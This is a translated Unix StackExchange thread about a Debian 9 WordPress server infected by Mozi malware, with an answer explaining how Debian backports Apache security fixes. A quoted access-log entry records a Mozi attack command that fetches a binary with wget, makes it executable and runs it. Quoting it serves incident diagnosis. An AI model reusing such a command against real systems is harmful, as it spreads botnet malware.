Debian

感染後在 Debian 9 上升級 apache2

  • October 24, 2020

我最近發現我在 Google Compute Engine 上執行的 Wordpress 部落格已被 Mozi 惡意軟體感染,並且長期以來一直是他們殭屍網路的一部分(當我收到來自 Google 的關於非法攻擊第三方的警告時得到證實)。

首先讓我們看看我的虛擬機在執行什麼:

OS: Debian 9 Strech
Web Server: Apache 2.4.25
DB: MySQL 5.7.30
phpMyAdmin 5.0.2
Wordpress 5.5.1

讓我向您展示我的發現:

Apache2的access.log的一部分

115[.]61.116.192 - - [20/Oct/2020:10:53:15 +0000] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 0 "-" "-"

請注意,它嘗試通過使用 wget 下載腳本然後嘗試 chmod 777 來執行任意程式碼。

Apache2的error.log的一部分

chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/doc/html/genindex.html': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/doc/html/index.html': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/index.php': Operation not permitted
chmod: changing permissions of '/opt/c2d/downloads/phpmyadmin/setup/index.php': Operation not permitted

他們似乎成功地執行了任意程式碼。儘管不是 root,但使用者 www-data 已成功修改了一個惡意 php 腳本。

我認為很明顯,我正在執行一個易受攻擊的 apache 版本,並且在 CVE 數據庫中進行搜尋後,黑客使用了這個漏洞CVE-2019-0211 。

當我看到雖然我嘗試升級 apache 時,我很驚訝,apt 說我正在執行最新版本。我的意思是這是 2019 年的漏洞利用,當 apache 現在處於 2.5.46 時,我正在執行版本 2.5.25。在進行了搜尋之後,我在這篇Unix SE 文章中讀到 Debian 處理不同的軟體包版本(我承認我不太使用 Debain 來了解他們對此類事情的看法)。

我的問題是:如何更新 apache 來修補我的系統?如您所知,我需要盡快解決。

編輯

輸出dpkg -l apache2

Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name                   Version          Architecture     Description
+++-======================-================-================-==================================================
ii  apache2                2.4.25-3+deb9u9  amd64            Apache HTTP Server

您可能會看到沒有的問題。

眾所周知,Debian 在發行版的生命週期內堅持使用同一上游版本的軟體包。這是他們的政策,在一種情況下有優勢,在另一種情況下有劣勢。

**但是,當然,Debian 正在及時修復安全問題。**不過,這可能並不明顯,因為他們通常不會採用解決問題的上游版本並從中製作新包。相反,他們正在創建一個特定的更新檔,該更新檔將在應用於他們的發行版包含的“舊”版本時解決問題。

例如,在 Debian buster 中,在撰寫本文時應用了所有發行版更新,aptitude show apache2生成包含以下行的輸出:

Version: 2.4.38-3+deb10u4

第一個數字 ( 2.4.38) 是 Apache 版本,而第二部分 ( -3+deb10u4) 可以理解為一種“更新檔級別”。每當他們解決安全問題時,第二部分都會發生變化(與第一部分相反,第一部分是實際的 Apache 版本號,並且在該發行版的生命週期內將保持不變)。

反過來說:Debian 的 Apache 2.4.38 軟體包的原始碼與原始上游Apache 2.4.38 原始碼有很大不同,因為前者應用了更新檔(安全修復),儘管這些修復可能出現在後來的上游原始碼中具有更高的版本號。

長話短說:只要您及時應用所有更新(apt-get updateaptitude dist-upgrade),並且您已正確配置 apt(主要是 apt/etc/apt/sources.list中的文件/etc/apt/sources.d),您就不必擔心(而且機會是黑客是通過 Wordpress 發生的,而不是通過 Apache)。

引用自:https://unix.stackexchange.com/questions/615994